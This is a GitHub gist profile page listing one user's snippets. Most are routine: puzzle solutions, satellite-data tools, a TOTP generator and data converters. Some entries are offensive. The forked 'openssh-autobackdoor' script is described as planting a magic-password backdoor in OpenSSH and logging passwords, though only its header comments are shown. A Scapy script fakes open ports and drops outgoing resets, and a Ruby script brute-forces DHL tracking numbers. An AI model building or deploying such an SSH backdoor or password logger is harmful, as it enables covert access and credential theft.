Skip to content

Instantly share code, notes, and snippets.


Lloyd Hughes system123

View GitHub Profile
system123 / problem7ab.cpp
Last active Dec 8, 2021
AoC2021 Problem 7
View problem7ab.cpp
#include <fstream>
#include <string>
#include <sstream>
#include <iostream>
#include <vector>
#include <numeric>
using namespace std;
template <typename T>
system123 /
Last active Oct 8, 2021
Download Sentinel 1 POE and RES orbit files from
"""Get Sentinel-1 orbit file(s) from ESA archive website"""
import argparse
import logging
import os
import re
import sys
from datetime import datetime
from pyroSAR.examine import ExamineSnap
system123 /
Created Mar 2, 2021
Google Auth TOTP code generator, just seed it with your MFA secret key and it'll generate codes exactly as Google Auth does.
def get_totp_token(secret, refresh_time=int(time.time())//30):
secret = secret.strip().replace(' ', '')
secret = secret.ljust((len(secret) + 7) & (-8) ,'=')
key = base64.b32decode(secret, True)
msg = struct.pack(">Q", refresh_time)
h = bytearray(, msg, hashlib.sha1).digest())
o = h[19] & 15
h = str((struct.unpack(">I", h[o:o+4])[0] & 0x7fffffff) % 1000000)
return h.zfill(6)
system123 /
Created Mar 12, 2019
Fast Dense CNN Features
import torch
import torch.nn.functional as F
from torch import nn
from torchvision import models
from math import ceil, floor
from functools import reduce
system123 / find_tracking_number.rb
Last active Feb 13, 2018
A brute force to find lost DHL tracking numbers when the receipt has deteriorated and only a few digits are readable
View find_tracking_number.rb
require "net/http"
require 'parallel'
start = "54608206666?"
start = "54608??????4"
def make_tracking_num(i, start)
n = start.count("?")
missing = sprintf("%0#{n}d" % i).split('')
track = start.gsub '?', '%d'
system123 / bson2hdf5.c
Last active Sep 20, 2017
CDiscount Kaggle Competition - BSON to HDF5
View bson2hdf5.c
/* Converts the CDiscount data from BSON format to HDF5 files
* Author: Lloyd Hughes <>
* To compile: gcc -o bson_to_hdf5 bson_to_hdf5.c -I/usr/include/libbson-1.0 -L/usr/lib64 -lbson-1.0 -lhdf5_hl -lhdf5 -lrt -lpthread -lz -ldl -lm -Wl
#include <stdio.h>
#include <bson.h>
#include <hdf5.h>
#include <pthread.h>
system123 /
Created Jun 24, 2017 — forked from zbetcheckin/
Fun Python & Scapy script that will answer 'SYN ACK' to any TCP 'SYN' packet received on any port

Python - Scapy - Show all your ports as open

from scapy.all import *
os.system("iptables -A OUTPUT -p tcp -o eth0 --sport 1:65535 --tcp-flags RST RST -j DROP")
def packet(pkt):
    if pkt[TCP].flags == 2:
        print('SYN packet detected port : ' + str(pkt[TCP].sport) + ' from IP Src : ' + pkt[IP].src)
 send(IP(dst=pkt[IP].src, src=pkt[IP].dst)/TCP(dport=pkt[TCP].sport, sport=pkt[TCP].dport,ack=pkt[TCP].seq + 1, flags='SA'))
system123 / openssh-autobackdoor.bash
Last active Oct 14, 2017 — forked from eyecatchup/openssh-autobackdoor.bash
This script provides OpenSSH backdoor functionality with a magic password and logs passwords as well. It leverages the same basic idea behind common OpenSSH patches but this script attempts to make the process version agnostic. Use at your own risk.
View openssh-autobackdoor.bash
# ============================================
# satyr's openssh autobackdooring doohicky v0.-1
# ============================================
# Run this script with no args and it'll prompt for the "Magic" password and location to log passwords to (incoming and outgoing).
# If you give the location that passwords will be logged to as an arg, this script will try to automate almost everything
# (Like common openssh compiling problems, such as missing pam, kerberos, zlib, openssl-devel, etc.
# [it'll install them via apt or yum, whichever is available]).
system123 /
Last active Aug 29, 2015 — forked from hofmannsven/
My simply Git Cheatsheet
system123 / gitsubmodule
Created Mar 19, 2015
Setup git sub-modules from an existing .gitmodules file in a new repo.
View gitsubmodule
set -e
git config -f .gitmodules --get-regexp '^submodule\..*\.path$' |
while read path_key path
url_key=$(echo $path_key | sed 's/\.path/.url/')
url=$(git config -f .gitmodules --get "$url_key")
git submodule add $url $path